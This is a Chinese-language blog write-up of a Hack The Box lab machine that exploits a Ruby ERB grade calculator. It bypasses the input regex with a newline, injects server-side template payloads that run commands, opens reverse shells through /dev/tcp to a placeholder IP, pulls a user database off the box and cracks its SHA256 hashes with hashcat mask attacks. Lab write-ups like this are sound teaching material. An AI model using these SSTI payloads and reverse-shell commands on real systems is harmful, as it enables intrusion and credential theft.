一进来发现这个页面,估计突破点就是在这里了
当然也可走一下固定的流程,nmap扫一下、dir爆破一下。这里不太像是sql的注入点(并不是查询功能),就不用sql试了。
首先第一反应时看到WEBrick模板框架,考虑有没有版本漏洞,但是在几个CVE数据库搜一下都没有对应版本的漏洞。
那么走一下正常的输入流程,看一下输出结果
正则匹配绕过
稍微测试几个字符就发现被识别为恶意输入,block掉了。这里我们fuzz一下,看那些字符不会被拦截,缩小一下测试范围,根据相应包的长度分类一下
考虑这里是一个正则表达式匹配行为,那么想一下正则匹配的常见绕过方法:异或、取反、大小写、正则回溯上限、拼接、%0a
这里尝试后决定用%0a绕过,后面也看了一下源码,确实是正则匹配,由于对ruby不太熟,这里恶补了一下相关的内容
源代码是这样的:
elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category2] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category3] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:category4] =~ /^[a-zA-Z0-9\/ ]+$/ &&
params[:category5] =~ /^[a-zA-Z0-9\/ ]+$/ && params[:grade1] =~ /^(?:100|\d{1,2})$/ && params[:grade2] =~ /^(?:100|\d{1,2})$/ && params[:grade3] =~ /^(?:100|\d{1,2})$/ &&
params[:grade4] =~ /^(?:100|\d{1,2})$/ && params[:grade5] =~ /^(?:100|\d{1,2})$/ && params[:weight1] =~ /^(?:100|\d{1,2})$/ && params[:weight2] =~ /^(?:100|\d{1,2})$/ &&
params[:weight3] =~ /^(?:100|\d{1,2})$/ && params[:weight4] =~ /^(?:100|\d{1,2})$/ && params[:weight5] =~ /^(?:100|\d{1,2})$/
@result = ERB.new("Your total grade is <%= ((params[:grade1].to_i * params[:weight1].to_i) + (params[:grade2].to_i * params[:weight2].to_i) + (params[:grade3].to_i * params[:weight3].to_i) +
(params[:grade4].to_i * params[:weight4].to_i) + (params[:grade5].to_i * params[:weight5].to_i)) / 100 %>\%<p>" + params[:category1] + ": <%= (params[:grade1].to_i * params[:weight1].to_i) / 100 %>\%</p><p>"
+ params[:category2] + ": <%= (params[:grade2].to_i * params[:weight2].to_i) / 100 %>\%</p><p>" + params[:category3] + ": <%= (params[:grade3].to_i * params[:weight3].to_i) / 100 %>\%</p><p>" +
params[:category4] + ": <%= (params[:grade4].to_i * params[:weight4].to_i) / 100 %>\%</p><p>" + params[:category5] + ": <%= (params[:grade5].to_i *
params[:weight5].to_i) / 100 %>\%</p>").result(binding)
erb :'weighted_grade_results'
else
@result = "Malicious input blocked"
erb :'weighted_grade_results'
首先讲一下正则匹配,在ruby中 =~ 表示将正则表达式与字符串进行匹配,如果找到,返回匹配项相对于字符串的偏移量,否则返回nil
比较有意思的是,在ruby中,0并不代表false,也就是说 if 0 是为真的。其次,利用换行来绕过这里的单行匹配
但是奇怪的是,即使我用了/m多行匹配,返回结果仍然是True,搞了半天也没明白,这个问题先搁置一下吧。现在能确定正则匹配是可以绕过的,而且在%0a后可以插入任何字符。
SSTI利用、反弹shell
首先理解一下ssti是什么,服务端模板注入,服务端利用模板引擎渲染用户请求到当前页面。也就是说用户的输入渲染到了当前页面,这听起来像XSS,我们很容易认为这根本不是突破点选择绕过,但注意这里是利用模板进行渲染。
也就是说,一个页面如果存在xss攻击的可能,但同时页面开发使用了模板引擎,那么我们需要考虑SSTI注入的存在。这里又是ruby的ERB模板引擎WEBrick,ERB有直接的命令执行接口:
<%= system("whoami") %> <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines()%>
要注意的是,这里的参数明显有一个urldecode过程,我们要将特殊字符进行编码,否则可能无法正常解析,导致命令执行出现问题
到了这一步就好说了,因为没有回显,直接弹shell到本地,最常用的命令是
bash -i >& /dev/tcp/192.x.x.x/xxxx 0>&1 bash -c 'bash -i >& /dev/tcp/192.x.x.x/xxxx 0>&1' echo 'IC1pID4mIC9kZXYvdGNwLzE5Mi54LngueC94eHh4IDA+JjE=' | base64 -d | bash
稍微试几个,记得编码,正常弹到shell
发现当前用户是susan,在用户目录Migration下发现了.db的sqlite数据库文件,在靶机上执行 python3 -m http.server 8888,然后本地wget下载该文件
用DBeaver打开,发现一个用户表,包括其用户名和密码
Hashcat爆破
用https://hashes.com/en/tools/hash_identifier 识别一下是什么类型的hash值,发现是SHA256,这里我们引入hashcat的使用方法(很多人习惯用john,确实方便,但是局限性有点大,hashcat能够以多种方式爆破同时还能结合CPU与GPU的使用)
hashcat的具体使用方式参考 https://cloud.tencent.com/developer/article/2245761?areaId=106001
# 利用字典爆破 1.txt是密码的哈希值 hashcat -a 0 -m 1400 1.txt /usr/share/wordlists/rockyou.txt
在 /var/mail/susan中发现了以下邮件:
susan@perfection:~/ruby_app$ cat /var/mail/susan cat /var/mail/susan Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is: {firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000} Note that all letters of the first name should be convered into lowercase. Please hit me with updates on the migration when you can. I am currently registering our university with the platform. - Tina, your delightful student
也就是密码是基于特定的规则,照理我们可以根据susan的hash值本地爆破出她的密码
这里用到的是hashcat基于掩码的爆破方式
#基于规则掩码的爆破 hashcat 'abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f' -a 3 'susan_nasus_?d?d?d?d?d?d?d?d?d' -m 1400
直接得到了susan的密码,接下来的提权就不说了,ssh连上去发现sudo权限全开,直接读root.txt。(照理说用户表的五个人的密码都是爆破的,但/etc/passwd文件中只存在susan用户)
标签:shell,HTB,susan,hashcat,params,&&,100,ruby From: https://www.cnblogs.com/kw13t/p/18105900